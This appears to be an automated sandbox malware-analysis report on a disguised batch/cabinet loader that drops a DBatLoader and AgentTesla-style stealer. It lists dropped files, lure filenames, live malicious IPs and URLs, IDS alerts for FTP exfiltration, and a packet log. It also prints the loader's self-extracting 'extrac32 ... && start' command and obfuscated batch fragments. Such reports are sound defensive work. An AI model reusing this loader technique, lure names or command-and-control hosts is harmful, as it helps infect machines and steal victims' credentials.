	MV. NORDRHONE VSL's PARTICULARS.xlsx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.144.157
	MUM - VESSEL'S PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.144.157
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	69.49.245.172
	Oakville_Service_Update_d76b33a1-3420-40be-babd-e82e253ad25c.pdf	Get hash	malicious	HTMLPhisher	Browse	192.185.12.205
	http://dcrealestateclasses.com/sirmy359ka/logfds65475mnvn/0Px7KgmP2ER6zsKKoRahD/ZGFuaWVscGxvdHRlbEBxdWFudGV4YS5jb20=	Get hash	malicious	Unknown	Browse	192.185.13.169
	https://docs.google.com/drawings/d/1OzqwiA1nI8GUoiKob_qJY5xL1HmGK6VrRXlYUDuD68w/preview?pli=1JXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrlytjEsfyxX4slH6ZHg3eWCKKhJXThK7wTKLJQKP6wUqAFkc0vrl	Get hash	malicious	Mamba2FA	Browse	108.179.193.4
CLOUDFLARENETUS	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	172.67.154.67
	PO.2407010.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	104.21.74.191
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	File07098.PDF.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	greatthingswithmegood.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	172.67.74.152
	file.exe	Get hash	malicious	WhiteSnake Stealer	Browse	172.67.74.152
	Reff_Yazaki-europe_575810710108_ZnjKTIejsM.html	Get hash	malicious	Unknown	Browse	172.67.74.152
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.74.152
	File07098.PDF.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.74.152
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.74.152
	Quality stuff.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.74.152
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.74.152
	Request For Quotation-RFQ097524_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.74.152
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.74.152
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	50.116.93.185
	Orden de Compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	50.116.93.185
	Orden de compra.xlam.xlsx	Get hash	malicious	Unknown	Browse	50.116.93.185
	z1SWIFT_MT103_Payment_552016_cmd.bat	Get hash	malicious	DBatLoader, FormBook	Browse	50.116.93.185
	Order pdf.exe	Get hash	malicious	DBatLoader, FormBook	Browse	50.116.93.185
	Proforma Fatura ektedir.exe	Get hash	malicious	DBatLoader, FormBook	Browse	50.116.93.185
	PO-004976.xls	Get hash	malicious	Unknown	Browse	50.116.93.185
	Order Pdf.exe	Get hash	malicious	DBatLoader	Browse	50.116.93.185
	Transferencia.xls	Get hash	malicious	Unknown	Browse	50.116.93.185
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	50.116.93.185

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Libraries\xrbjyllC.pif	z1SWIFT_MT103_Payment_552016_cmd.bat	Get hash	malicious	DBatLoader, FormBook	Browse
	Order Specifications for Materials.docx.vbs	Get hash	malicious	DBatLoader, FormBook	Browse
	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	ORDER_DOCU_NWQ89403984-DETAILS.MPEG.PNG.CMD.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse
	ORDER_DOCUMENT_PO_GQB793987646902.TXT.MPEG.PNG.CMD.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse
	Julcbozqsvtzlo.cmd	Get hash	malicious	Remcos, AveMaria, DBatLoader, PrivateLoader, UACMe	Browse
	Confirmation.docx.exe	Get hash	malicious	DBatLoader, Lokibot	Browse
	ZG7UaFRPVW.exe	Get hash	malicious	DBatLoader, Remcos	Browse
	IN-34823_PO39276-pdf.vbe	Get hash	malicious	Remcos, DBatLoader	Browse
	7XU2cRFInT.exe	Get hash	malicious	Remcos, DBatLoader	Browse

Created / dropped Files

C:\Users\Public\Cllyjbrx.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Cllyjbrx.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.1375037811797055
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMwysbx50K9Dovn:HRYFVmTWDyzUExqK0v
MD5:	E9DEFC5F517D7E26B9398584079F580C
SHA1:	BE4C94E82E6215DEBB6BBE83193681518D197FEE
SHA-256:	857F6D8793545669B1DA61A916D1AA73DB9ABB66FA6769E0961DEC622791BA20
SHA-512:	5D9F0B2AB7C83A26C5AFC52A655F2F243C12E5983A27730192A15923DD7E6812FD28EFC121E58D18750BBC509193CEC3DBB8FE4E1FD3E150775B2C1B2DB7ED5D
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Cllyjbrx.PIF"..IconIndex=963148..HotKey=28..

C:\Users\Public\Libraries\Cllyjbrx.PIF

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1138688
Entropy (8bit):	6.826651927142877
Encrypted:	false
SSDEEP:	24576:+VL/y4HWMvHg4VLerA+EYyx9XXIDT8Jf3pbV13Jks:Q6MPPRlPXI8t5X
MD5:	08C4AFC4A714EDFE9F2554B72DA40A04
SHA1:	C5BF192E4258D42C359504997FDDAB6BF812E2F9
SHA-256:	64E1D81708B22A034F42FEE4DCDDB6B90A191A0F1B0A2754E8F82A1723675AB5
SHA-512:	90429C5FB34744C51942430A40AFCFF2DA83D569D6570C52801A07B97C02DA4B759973EA495AC8B78F38FD4B6120858B4FAF8D5ED7C964FB8731CCF52950D3DD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................L.......(.......0....@..............................................@...............................'...`...........................l..................................................T...(............................text...d........................... ..`.itext..L.... ...................... ..`.data....%...0...&..................@....bss.....6...`.......:...................idata...'.......(...:..............@....tls....4............b...................rdata...............b..............@..@.reloc...l.......n...d..............@..B.rsrc........`......................@..@.....................`..............@..@................................................................................................

C:\Users\Public\Libraries\PNO

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:9v:N
MD5:	FFED080BF0C3B454B4D2873AF298511E
SHA1:	33B86DCB41B307CE92537C42466B3AC65FA75340
SHA-256:	2B3275E2630092BE620791E92F0B2D759BA133346CE66FEE677F3EFF5A23D48E
SHA-512:	A89E385BA8AC683AEE84712658C90F30EA6AE6E10021D971AA616A3D417F78AEB14FF627A316403F4922AA80F6729DB0AC522FEAC906413EAD9800372411E755
Malicious:	false
Preview:	87..

C:\Users\Public\Libraries\xrbjyllC.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (324), with CRLF line terminators
Category:	dropped
Size (bytes):	62357
Entropy (8bit):	4.705712327109906
Encrypted:	false
SSDEEP:	768:KwVRHlxGSbE0l9swi54HlMhhAKHwT6yQZPtQdtyWNd/Ozc:LbeSI0l9swahhhtwT6VytHNdGzc
MD5:	B87F096CBC25570329E2BB59FEE57580
SHA1:	D281D1BF37B4FB46F90973AFC65EECE3908532B2
SHA-256:	D08CCC9B1E3ACC205FE754BAD8416964E9711815E9CEED5E6AF73D8E9035EC9E
SHA-512:	72901ADDE38F50CF6D74743C0A546C0FEA8B1CD4A18449048A0758A7593A176FC33AAD1EBFD955775EEFC2B30532BCC18E4F2964B3731B668DD87D94405951F7
Malicious:	false
Preview:	@echo off..@echo off..@%.......%e%..%c%...%h%.... ...%o%........% %.%o%.....%f%...%f% ........%..s%.%e%.... %t%r.o......% %....%"%.........%l%.......o.%V%......%W%.....o%a%..........%=%.o....%s%. .o%e%. ....... %t%.% %..%"%.r%..%lVWa%"%......%u%. .%p%.%w%.... %u%.... o...%=%..... %=%... . . %"%.%..%lVWa%"%....%R%.%b%. .... %U%. %p%.%z%...%n% ...%n%...%f%..... . ..%W%.......%i%......%%upwu%C%. .. %l%...%o%........%a%......%"% .... %..%lVWa%"% %r%......%M%....%S%...r... ..%o%....... .%w%.....%X%.....rr%I%..... .

C:\Users\Public\Libraries\xrbjyllC.pif

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.328046551801531
Encrypted:	false
SSDEEP:	1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5:	C116D3604CEAFE7057D77FF27552C215
SHA1:	452B14432FB5758B46F2897AECCD89F7C82A727D
SHA-256:	7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
SHA-512:	9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: z1SWIFT_MT103_Payment_552016_cmd.bat, Detection: malicious, Browse Filename: Order Specifications for Materials.docx.vbs, Detection: malicious, Browse Filename: Payment.cmd, Detection: malicious, Browse Filename: ORDER_DOCU_NWQ89403984-DETAILS.MPEG.PNG.CMD.cmd, Detection: malicious, Browse Filename: ORDER_DOCUMENT_PO_GQB793987646902.TXT.MPEG.PNG.CMD.cmd, Detection: malicious, Browse Filename: Julcbozqsvtzlo.cmd, Detection: malicious, Browse Filename: Confirmation.docx.exe, Detection: malicious, Browse Filename: ZG7UaFRPVW.exe, Detection: malicious, Browse Filename: IN-34823_PO39276-pdf.vbe, Detection: malicious, Browse Filename: 7XU2cRFInT.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

C:\Users\Public\alpha.pif

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	236544
Entropy (8bit):	6.4416694948877025
Encrypted:	false
SSDEEP:	6144:i4VU52dn+OAdUV0RzCcXkThYrK9qqUtmtime:i4K2B+Ob2h0NXIn
MD5:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
SHA1:	4048488DE6BA4BFEF9EDF103755519F1F762668F
SHA-256:	4D89FC34D5F0F9BABD022271C585A9477BF41E834E46B991DEAA0530FDB25E22
SHA-512:	80E127EF81752CD50F9EA2D662DC4D3BF8DB8D29680E75FA5FC406CA22CAFA5C4D89EF2EAC65B486413D3CDD57A2C12A1CB75F65D1E312A717D262265736D1C2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+.l.J.?.J.?.J.?.2(?.J.?.!.>.J.?.!.>.J.?.J.?.K.?.!.>.J.?.!.>.J.?.!.>.J.?.!D?.J.?.!.>.J.?Rich.J.?................PE..L....~.............................. k............@..................................j....@.................................................................p...%...5..T............................................................................text............................... ..`.data...8...........................@....idata...$.......&..................@..@.didat..H...........................@....rsrc...............................@..@.reloc...%...p...&...v..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x.exe

Download File

Process:	C:\Windows\System32\extrac32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1138688
Entropy (8bit):	6.826651927142877
Encrypted:	false
SSDEEP:	24576:+VL/y4HWMvHg4VLerA+EYyx9XXIDT8Jf3pbV13Jks:Q6MPPRlPXI8t5X
MD5:	08C4AFC4A714EDFE9F2554B72DA40A04
SHA1:	C5BF192E4258D42C359504997FDDAB6BF812E2F9
SHA-256:	64E1D81708B22A034F42FEE4DCDDB6B90A191A0F1B0A2754E8F82A1723675AB5
SHA-512:	90429C5FB34744C51942430A40AFCFF2DA83D569D6570C52801A07B97C02DA4B759973EA495AC8B78F38FD4B6120858B4FAF8D5ED7C964FB8731CCF52950D3DD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................L.......(.......0....@..............................................@...............................'...`...........................l..................................................T...(............................text...d........................... ..`.itext..L.... ...................... ..`.data....%...0...&..................@....bss.....6...`.......:...................idata...'.......(...:..............@....tls....4............b...................rdata...............b..............@..@.reloc...l.......n...d..............@..B.rsrc........`......................@..@.....................`..............@..@................................................................................................

C:\Users\user\AppData\Roaming\sgxIb\Loader.Log

Download File

Process:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	244
Entropy (8bit):	4.61658696146199
Encrypted:	false
SSDEEP:	6:+MrRJNpw1UDajMyc0ohRJNpw1UDajMyc0ov:pRJjEUDtyc0ohRJjEUDtyc0ov
MD5:	43429641FC18329AA43C377CA931E2CC
SHA1:	A8123D641DC6B48F1B7601449A62BEE33BFDFEDA
SHA-256:	1B885BD7265A6C07E59D16DE6CF05575F47BDF6592C145DD6D369CE5C2976C80
SHA-512:	712DE502033CACB9A40728DA554D36F72E3E152815903FDCE9C5A3F818E3362A91761DAFEA5D97F8130605E272580010632D45CFE466383E1945F76C56E8F0AC
Malicious:	false
Preview:	24-10-30.0335: Mercury/32 Loader Started..24-10-30.0335: Loader encountered Windows error 2 creating Mercury/32 process...24-10-30.0335: Mercury/32 Loader Started..24-10-30.0335: Loader encountered Windows error 2 creating Mercury/32 process...

C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

Download File

Process:	C:\Users\Public\Libraries\xrbjyllC.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	68096
Entropy (8bit):	6.328046551801531
Encrypted:	false
SSDEEP:	1536:lR2rJpByeL+39Ua1ITgA8wpuO5CU4GGMGcT4idU:lR2lg9Ua1egkCU60U
MD5:	C116D3604CEAFE7057D77FF27552C215
SHA1:	452B14432FB5758B46F2897AECCD89F7C82A727D
SHA-256:	7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
SHA-512:	9202A00EEAF4C5BE94DE32FD41BFEA40FC32D368955D49B7BAD2B5C23C4EBC92DCCB37D99F5A14E53AD674B63F1BAA6EFB1FEB27225C86693EAD3262A26D66C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....8.......................p....................@.............................................. ...................p.......`...............................................................P.......................................................text............................... ..`.data....p.......0..................@....tls.........@......................@....rdata.......P......................@..P.idata.......`......................@..@.edata.......p......................@..@

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	592
Entropy (8bit):	4.621396330050296
Encrypted:	false
SSDEEP:	12:qbf/xTzaeSbZ7u0wxDDDDDDDDjCaY5aAaYAUATB8NGNe:Kf/xTzap7u0wQakaAaCAt8NR
MD5:	343E954129C332E60D8F9B55145CA365
SHA1:	F8C444B41CE20EA1C82A14248F3A06C4425BDD50
SHA-256:	89A065092A8F23911A56253F3A01ABF3E3109C5523E8ACDD20070FE3C221A243
SHA-512:	2DCCDF988DACC262D2F4A9178E169125DB119A2E24E2A0B15980F4DE3B42417A7B4FD5013CFF9E560AA5D0960FA1D5C705233C45F9E7FA7D25E01195D2706BD4
Malicious:	false
Preview:	..Initiating COPY FILE mode..... Source File: C:\Users\user\AppData\Local\Temp\x.exe...Destination File: C:\\Users\\Public\\Libraries\\Cllyjbrx.PIF...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... \|----\|----\|----\|----\|----\|----\|----\|----\|----\|----\|... ..........................................................Total bytes read = 0x116000 (1138688) (1 MB)....Total bytes written = 0x116000 (1138688) (1 MB).......Operation completed successfully in 0.109 seconds.....

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\esentutl.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	564
Entropy (8bit):	4.558269873549125
Encrypted:	false
SSDEEP:	12:q6pLExT6ceSbZ7u0wxDDDDDDDDjCaY5n4aYAWS4TB8NGNv:/pLExT6cp7u0wQakn4al4t8NC
MD5:	A6FADC7AC568000B6EBB2798B26B2747
SHA1:	8AE2FC2A2AF6E8D45E04D55E7A0EF80CD1452C05
SHA-256:	CE127301AD198410E2CEA6A5F94C859AAFDE68A823437C5E6F6741FA08AF2447
SHA-512:	DE460139ED47702EADEA6E45C9066FC0FE3DD20ADD94BF9A86F1EC2FDF2569D56BF62153155E28BFE983603B988FB596FCC0B3A7ED6ABC13E98748E02CEDBD18
Malicious:	false
Preview:	..Initiating COPY FILE mode..... Source File: C:\\Windows\\System32\\cmd.exe...Destination File: C:\\Users\\Public\\alpha.pif...... Copy Progress (% complete)...... 0 10 20 30 40 50 60 70 80 90 100... \|----\|----\|----\|----\|----\|----\|----\|----\|----\|----\|... ..........................................................Total bytes read = 0x39c00 (236544) (0 MB)....Total bytes written = 0x3a000 (237568) (0 MB).......Operation completed successfully in 0.63 seconds.....

Static File Info

General

File type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 4294967295 bytes, 1 file, at 0x75 +A "x.exe", number 1, 35 datablocks, 0 compression
Entropy (8bit):	6.826154747459283
TrID:	Microsoft Cabinet Archive (8008/1) 99.91% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.09%
File name:	z1Transaction_ID_REF2418_cmd.bat
File size:	1'139'107 bytes
MD5:	597443c0b1405f3deaa48eef7de516c4
SHA1:	8f3688a384a9a8c8f70fc6a19382d73fbded0674
SHA256:	553f1b4f0532c10e855e349a79d51c1fbffe6f9e03360e50b1445b82d1667ebb
SHA512:	144d0c1f836950900520ae4f57156a924d657dc7107a79de982e02b732c91d8fdf307dcc675c6440683e307e397d63abb134c5dc0440765db0dfe99e1e91911f
SSDEEP:	24576:MhL/ykHKM7D84Vz6rcC4Qy19XbMDX8VP3lvV13FQs:maMvj5N7bMY51b
TLSH:	6D35AE2A75C09631E172027A6B079BD8861D3D313E24606FBDF55F3CEA316583E25EA3
File Content Preview:	MSCF............u.......................#.......cls && extrac32 /y "%~f0" "%tmp%\x.exe" && start "" "%tmp%\x.exe".....`............ .x.exe.........MZP.....................@...............................................!..L.!..This program must be run und

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T08:35:22.962696+0100	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.4	49744	110.4.45.197	21	TCP
2024-10-30T08:35:23.900856+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49747	110.4.45.197	54601	TCP
2024-10-30T08:35:23.907031+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49747	110.4.45.197	54601	TCP
2024-10-30T08:35:39.357736+0100	2029927	ET MALWARE AgentTesla Exfil via FTP	1	192.168.2.4	49753	110.4.45.197	21	TCP
2024-10-30T08:35:40.260221+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49754	110.4.45.197	63940	TCP
2024-10-30T08:35:40.266852+0100	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	1	192.168.2.4	49754	110.4.45.197	63940	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 08:34:58.002439022 CET	49730	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:58.002479076 CET	443	49730	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:58.002557993 CET	49730	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:58.002770901 CET	49730	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:58.002818108 CET	443	49730	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:58.002873898 CET	49730	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:58.050447941 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:58.050496101 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:58.050565958 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:58.055082083 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:58.055098057 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:58.739486933 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:58.739557981 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:58.804135084 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:58.804176092 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:58.804954052 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:58.856123924 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.235292912 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.279337883 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.398030043 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.398055077 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.398061991 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.398158073 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.398171902 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.448137045 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.516011000 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.516033888 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.516078949 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.516128063 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.516161919 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.516810894 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.516819954 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.516877890 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.516895056 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.518388033 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.518398046 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.518469095 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.548598051 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.548612118 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.548731089 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.634876966 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.634973049 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.635755062 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.635822058 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.636603117 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.636674881 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.637105942 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.637171030 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.638011932 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.638097048 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.639663935 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.639738083 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.667295933 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.667377949 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.753343105 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.753424883 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.753814936 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.753887892 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.754165888 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.754225969 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.755024910 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.755110025 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.755127907 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.755197048 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.756084919 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.756160021 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.756172895 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.756181002 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.756217957 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.756225109 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.756930113 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.757000923 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.757842064 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.757901907 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.757919073 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.757965088 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.757982016 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.758747101 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.758810997 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.758822918 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.758893013 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.759704113 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.759830952 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.786201954 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.786273956 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.872139931 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.872194052 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.872282982 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.872298956 CET	443	49731	50.116.93.185	192.168.2.4
Oct 30, 2024 08:34:59.872311115 CET	49731	443	192.168.2.4	50.116.93.185
Oct 30, 2024 08:34:59.872343063 CET	49731	443	192.168.2.4	50.116.93.185
